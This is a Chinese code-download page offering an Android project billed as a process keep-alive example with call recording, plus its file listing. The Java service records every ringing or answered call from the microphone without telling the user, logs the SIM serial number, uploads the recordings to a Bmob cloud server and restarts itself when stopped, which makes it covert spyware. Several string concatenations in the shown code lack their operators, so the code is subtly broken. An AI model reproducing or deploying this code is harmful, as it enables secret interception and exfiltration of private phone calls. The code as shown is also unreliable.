首页

android 进程守护示例源码(通话录音)

java

2020-7-9

package eo.cn.phonelistener;

import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.Environment;
import android.os.IBinder;
import android.support.annotation.Nullable;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
import android.util.Log;

import java.io.File;
import java.io.IOException;

import cn.bmob.v3.datatype.BmobFile;
import cn.bmob.v3.exception.BmobException;
import cn.bmob.v3.listener.UploadFileListener;

/**
 * Created by mk on 2017/3/14.
 */
public class PhoneListenerService extends Service {
    //电话管理
    private TelephonyManager tm;
    private myListener listener;
    private File fileName;
    //录音机
    private MediaRecorder mediaRecorder;
    @Nullable
    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }
    @Override
    public void onCreate() {
        tm = (TelephonyManager) this.getSystemService(TELEPHONY_SERVICE);
        listener = new myListener();
        tm.listen(listener,PhoneStateListener.LISTEN_CALL_STATE);//第一个参数是监听器!第二个是监听呼叫的状态
        super.onCreate();
    }
    private class myListener extends PhoneStateListener{
        //监听手机状态的变化
        @Override
        public void onCallStateChanged(int state, String incomingNumber) {
            super.onCallStateChanged(state, incomingNumber);
            Log.i("电话状态输出",state "");
            try {
                switch (state){
                    case TelephonyManager.CALL_STATE_IDLE://空闲状态
                        Log.i("电话状态输出","空闲状态");
                        //8.停止录音
                        if (mediaRecorder!=null){
                            mediaRecorder.stop();
                            //9.释放资源
                            mediaRecorder.release();
                            mediaRecorder = null;
                            Log.i("电话状态输出","停止录音");
                            //上传到服务器
                            if (fileName!=null){
                                final BmobFile bmobFile = new BmobFile(fileName);
                                bmobFile.uploadblock(new UploadFileListener() {
                                    @Override
                                    public void done(BmobException e) {
                                        if (e == null){
                                            //bmobFile.getFileUrl()--返回的上传文件的完整地址
                                            Log.i("电话状态输出","文件上传成功的url是:" bmobFile.getFileUrl() "");
                                        }
                                        else {
                                            Log.i("电话状态输出","文件上传失败:" e.getMessage() "");
                                        }

                                    }
                                    //上传进度条
                                    @Override
                                    public void onProgress(Integer value) {
                                        super.onProgress(value);
                                        Log.i("电话状态输出","文件上传进度:" value "");
                                    }
                                });
                            }

                        }
                        break;
                    case TelephonyManager.CALL_STATE_OFFHOOK://通话状态
                        Log.i("电话状态输出","通话状态");
                        //1.实例化一个录音机
                        mediaRecorder = new MediaRecorder();
                        //2.指定录音机的声音源
                        mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
                        Log.i("电话状态输出","指定录音机的声音源");
                        //3.指定录制文件的输出格式
                        mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
                        Log.i("电话状态输出","指定录音文件的文件名称");
                        //5.设置音频编码
                        mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
                        //4.指定录音文件的文件名称Environment.getDataDirectory(),
                        fileName = new File(Environment.getExternalStorageDirectory(),System.currentTimeMillis() ".3gp");
                        mediaRecorder.setOutputFile(fileName.getAbsolutePath());
                        Log.i("电话状态输出", Environment.getExternalStorageState() "" fileName.getAbsolutePath());
                        Log.i("电话状态输出","设置音频编码");
                        Log.i("电话状态输出",tm.getSimSerialNumber());
                        //6.准备开始录音
                        mediaRecorder.prepare();
                        Log.i("电话状态输出","准备开始录音");
                        //7. Recording is now started
                        mediaRecorder.start();
                        Log.i("电话状态输出","开始录音");
                        break;
                    case TelephonyManager.CALL_STATE_RINGING://响铃状态
                        Log.i("电话状态输出","响铃状态");
                        //1.实例化一个录音机
                        mediaRecorder = new MediaRecorder();
                        //2.指定录音机的声音源
                        mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
                        Log.i("电话状态输出","指定录音机的声音源");
                        //3.指定录制文件的输出格式
                        mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
                        Log.i("电话状态输出","指定录音文件的文件名称");
                        //5.设置音频编码
                        mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
                        //4.指定录音文件的文件名称Environment.getDataDirectory(),
                        fileName = new File(Environment.getExternalStorageDirectory(),System.currentTimeMillis() ".3gp");
                        mediaRecorder.setOutputFile(fileName.getAbsolutePath());
                        Log.i("电话状态输出", Environment.getExternalStorageState() "" fileName.getAbsolutePath());
                        Log.i("电话状态输出","设置音频编码");
                        //6.准备开始录音
                        mediaRecorder.prepare();
                        Log.i("电话状态输出","准备开始录音");
                        //7. Recording is now started
                        mediaRecorder.start();
                        Log.i("电话状态输出","开始录音");
                        break;
                }
            } catch (IOException e) {
                Log.i("电话状态输出",e "");
                e.printStackTrace();
            }
        }
    }
    @Override
    public void onDestroy() {
        super.onDestroy();
        tm.listen(listener,PhoneStateListener.LISTEN_NONE);//注销监听事件
        Log.i("电话状态输出","注销");
        Intent intent = new Intent(this,PhoneListenerService2.class);
        startService(intent);
    }
}

资源下载此资源下载价格为3D币(VIP免费),请先
资源文件列表
.gradle/3.3/taskArtifacts/fileHashes.bin , 269169
.gradle/3.3/taskArtifacts/fileSnapshots.bin , 499006
.gradle/3.3/taskArtifacts/taskArtifacts.bin , 45032
.gradle/3.3/taskArtifacts/taskArtifacts.lock , 17
.gradle/3.3/tasks/_app_compileDebugJavaWithJavac/localClassSetAnalysis/localClassSetAnalysis.bin , 25304
.gradle/3.3/tasks/_app_compileDebugJavaWithJavac/localClassSetAnalysis/localClassSetAnalysis.lock , 17
.gradle/3.3/tasks/_app_compileDebugJavaWithJavac/localJarClasspathSnapshot/localJarClasspathSnapshot.bin , 20768
.gradle/3.3/tasks/_app_compileDebugJavaWithJavac/localJarClasspathSnapshot/localJarClasspathSnapshot.lock , 17
.idea/compiler.xml , 686
.idea/copyright/profiles_settings.xml , 76
.idea/gradle.xml , 626
.idea/libraries/animated_vector_drawable_25_3_1.xml , 607
.idea/libraries/appcompat_v7_25_3_1.xml , 571
.idea/libraries/bmob_sdk_3_5_0.xml , 1238
.idea/libraries/hamcrest_core_1_3.xml , 526
.idea/libraries/junit_4_12.xml , 477
.idea/libraries/org_apache_http_legacy_android_25.xml , 286
.idea/libraries/support_annotations_25_3_1.xml , 507
.idea/libraries/support_compat_25_3_1.xml , 577
.idea/libraries/support_core_ui_25_3_1.xml , 580
.idea/libraries/support_core_utils_25_3_1.xml , 589
.idea/libraries/support_fragment_25_3_1.xml , 583
.idea/libraries/support_media_compat_25_3_1.xml , 595
.idea/libraries/support_v4_25_3_1.xml , 404
.idea/libraries/support_vector_drawable_25_3_1.xml , 604
.idea/misc.xml , 1737
.idea/modules.xml , 363
.idea/runConfigurations.xml , 564
.idea/workspace.xml , 154967
app/.gitignore , 7
app/app.iml , 9041
app/build.gradle , 996
app/build/generated/source/buildConfig/androidTest/debug/eo/cn/phonelistener/test/BuildConfig.java , 455
app/build/generated/source/buildConfig/debug/eo/cn/phonelistener/BuildConfig.java , 445
app/build/generated/source/r/debug/android/support/compat/R.java , 252
app/build/generated/source/r/debug/android/support/coreui/R.java , 252
app/build/generated/source/r/debug/android/support/coreutils/R.java , 255
app/build/generated/source/r/debug/android/support/fragment/R.java , 254
app/build/generated/source/r/debug/android/support/graphics/drawable/animated/R.java , 272
app/build/generated/source/r/debug/android/support/graphics/drawable/R.java , 263
app/build/generated/source/r/debug/android/support/mediacompat/R.java , 257
app/build/generated/source/r/debug/android/support/v4/R.java , 248
app/build/generated/source/r/debug/android/support/v7/appcompat/R.java , 110550
app/build/generated/source/r/debug/cn/bmob/aar/R.java , 4559
app/build/generated/source/r/debug/eo/cn/phonelistener/R.java , 433366
app/build/intermediates/blame/res/debug/multi/values-af.json , 15591
app/build/intermediates/blame/res/debug/multi/values-am.json , 15585
app/build/intermediates/blame/res/debug/multi/values-ar.json , 15593
app/build/intermediates/blame/res/debug/multi/values-az-rAZ.json , 15023
app/build/intermediates/blame/res/debug/multi/values-b+sr+Latn.json , 15903
app/build/intermediates/blame/res/debug/multi/values-be-rBY.json , 15773
app/build/intermediates/blame/res/debug/multi/values-bg.json , 15597
app/build/intermediates/blame/res/debug/multi/values-bn-rBD.json , 15777
app/build/intermediates/blame/res/debug/multi/values-bs-rBA.json , 15773
app/build/intermediates/blame/res/debug/multi/values-ca.json , 15597
app/build/intermediates/blame/res/debug/multi/values-cs.json , 15593
app/build/intermediates/blame/res/debug/multi/values-da.json , 15589
app/build/intermediates/blame/res/debug/multi/values-de.json , 15593
app/build/intermediates/blame/res/debug/multi/values-el.json , 15599
app/build/intermediates/blame/res/debug/multi/values-en-rAU.json , 15765
app/build/intermediates/blame/res/debug/multi/values-en-rGB.json , 15765
app/build/intermediates/blame/res/debug/multi/values-en-rIN.json , 15765
app/build/intermediates/blame/res/debug/multi/values-es-rUS.json , 15775
app/build/intermediates/blame/res/debug/multi/values-es.json , 15595
app/build/intermediates/blame/res/debug/multi/values-et-rEE.json , 15775
app/build/intermediates/blame/res/debug/multi/values-eu-rES.json , 15771
app/build/intermediates/blame/res/debug/multi/values-fa.json , 15595
app/build/intermediates/blame/res/debug/multi/values-fi.json , 15589
app/build/intermediates/blame/res/debug/multi/values-fr-rCA.json , 15775
app/build/intermediates/blame/res/debug/multi/values-fr.json , 15599
app/build/intermediates/blame/res/debug/multi/values-gl-rES.json , 15773
app/build/intermediates/blame/res/debug/multi/values-gu-rIN.json , 15769
app/build/intermediates/blame/res/debug/multi/values-h720dp-v13.json , 965
app/build/intermediates/blame/res/debug/multi/values-hdpi-v4.json , 1025
app/build/intermediates/blame/res/debug/multi/values-hi.json , 15595
app/build/intermediates/blame/res/debug/multi/values-hr.json , 15593
app/build/intermediates/blame/res/debug/multi/values-hu.json , 15599
app/build/intermediates/blame/res/debug/multi/values-hy-rAM.json , 15767
app/build/intermediates/blame/res/debug/multi/values-in.json , 15595
app/build/intermediates/blame/res/debug/multi/values-is-rIS.json , 15763
app/build/intermediates/blame/res/debug/multi/values-it.json , 15591
app/build/intermediates/blame/res/debug/multi/values-iw.json , 15587
app/build/intermediates/blame/res/debug/multi/values-ja.json , 15581
app/build/intermediates/blame/res/debug/multi/values-ka-rGE.json , 15771
app/build/intermediates/blame/res/debug/multi/values-kk-rKZ.json , 15769
app/build/intermediates/blame/res/debug/multi/values-km-rKH.json , 15767
app/build/intermediates/blame/res/debug/multi/values-kn-rIN.json , 15773
app/build/intermediates/blame/res/debug/multi/values-ko.json , 15577
app/build/intermediates/blame/res/debug/multi/values-ky-rKG.json , 15769
app/build/intermediates/blame/res/debug/multi/values-land.json , 3137
app/build/intermediates/blame/res/debug/multi/values-large-v4.json , 6883
app/build/intermediates/blame/res/debug/multi/values-ldltr-v21.json , 963
app/build/intermediates/blame/res/debug/multi/values-lo-rLA.json , 15765
app/build/intermediates/blame/res/debug/multi/values-lt.json , 15599
app/build/intermediates/blame/res/debug/multi/values-lv.json , 15597
app/build/intermediates/blame/res/debug/multi/values-mk-rMK.json , 14283
app/build/intermediates/blame/res/debug/multi/values-ml-rIN.json , 15773
app/build/intermediates/blame/res/debug/multi/values-mn-rMN.json , 15767
app/build/intermediates/blame/res/debug/multi/values-mr-rIN.json , 15773
app/build/intermediates/blame/res/debug/multi/values-ms-rMY.json , 15771
app/build/intermediates/blame/res/debug/multi/values-my-rMM.json , 15775
app/build/intermediates/blame/res/debug/multi/values-nb.json , 15585
app/build/intermediates/blame/res/debug/multi/values-ne-rNP.json , 15777
app/build/intermediates/blame/res/debug/multi/values-night-v8.json , 5401
app/build/intermediates/blame/res/debug/multi/values-nl.json , 15599
app/build/intermediates/blame/res/debug/multi/values-pa-rIN.json , 15765
app/build/intermediates/blame/res/debug/multi/values-pl.json , 15595
app/build/intermediates/blame/res/debug/multi/values-port.json , 941
app/build/intermediates/blame/res/debug/multi/values-pt-rBR.json , 15775
app/build/intermediates/blame/res/debug/multi/values-pt-rPT.json , 15775
app/build/intermediates/blame/res/debug/multi/values-pt.json , 15599
app/build/intermediates/blame/res/debug/multi/values-ro.json , 15599
app/build/intermediates/blame/res/debug/multi/values-ru.json , 15597
app/build/intermediates/blame/res/debug/multi/values-si-rLK.json , 15771
app/build/intermediates/blame/res/debug/multi/values-sk.json , 15591
app/build/intermediates/blame/res/debug/multi/values-sl.json , 15595
app/build/intermediates/blame/res/debug/multi/values-sq-rAL.json , 15771
app/build/intermediates/blame/res/debug/multi/values-sr.json , 15595
app/build/intermediates/blame/res/debug/multi/values-sv.json , 15593
app/build/intermediates/blame/res/debug/multi/values-sw.json , 15591
app/build/intermediates/blame/res/debug/multi/values-sw600dp-v13.json , 6191
app/build/intermediates/blame/res/debug/multi/values-ta-rIN.json , 15773
app/build/intermediates/blame/res/debug/multi/values-te-rIN.json , 15775
app/build/intermediates/blame/res/debug/multi/values-th.json , 15591
app/build/intermediates/blame/res/debug/multi/values-tl.json , 15601
app/build/intermediates/blame/res/debug/multi/values-tr.json , 15591
app/build/intermediates/blame/res/debug/multi/values-uk.json , 15593
app/build/intermediates/blame/res/debug/multi/values-ur-rPK.json , 15769
app/build/intermediates/blame/res/debug/multi/values-uz-rUZ.json , 15773
app/build/intermediates/blame/res/debug/multi/values-v11.json , 19205
app/build/intermediates/blame/res/debug/multi/values-v12.json , 3273
app/build/intermediates/blame/res/debug/multi/values-v13.json , 937
app/build/intermediates/blame/res/debug/multi/values-v14.json , 9315
app/build/intermediates/blame/res/debug/multi/values-v16.json , 937
app/build/intermediates/blame/res/debug/multi/values-v17.json , 11515
app/build/intermediates/blame/res/debug/multi/values-v18.json , 935
app/build/intermediates/blame/res/debug/multi/values-v21.json , 79971
app/build/intermediates/blame/res/debug/multi/values-v22.json , 3273
app/build/intermediates/blame/res/debug/multi/values-v23.json , 8437
app/build/intermediates/blame/res/debug/multi/values-v24.json , 4591
app/build/intermediates/blame/res/debug/multi/values-v25.json , 3271
app/build/intermediates/blame/res/debug/multi/values-vi.json , 15597
app/build/intermediates/blame/res/debug/multi/values-w820dp-v13.json , 911
app/build/intermediates/blame/res/debug/multi/values-xlarge-v4.json , 4671
app/build/intermediates/blame/res/debug/multi/values-zh-rCN.json , 15751
app/build/intermediates/blame/res/debug/multi/values-zh-rHK.json , 15751
app/build/intermediates/blame/res/debug/multi/values-zh-rTW.json , 15751
app/build/intermediates/blame/res/debug/multi/values-zu.json , 15597
app/build/intermediates/blame/res/debug/multi/values.json , 437190
app/build/intermediates/blame/res/debug/single/anim.json , 3068
app/build/intermediates/blame/res/debug/single/color-v11.json , 756
最多只能显示150条信息!
没有账号? 忘记密码?

社交账号快速登录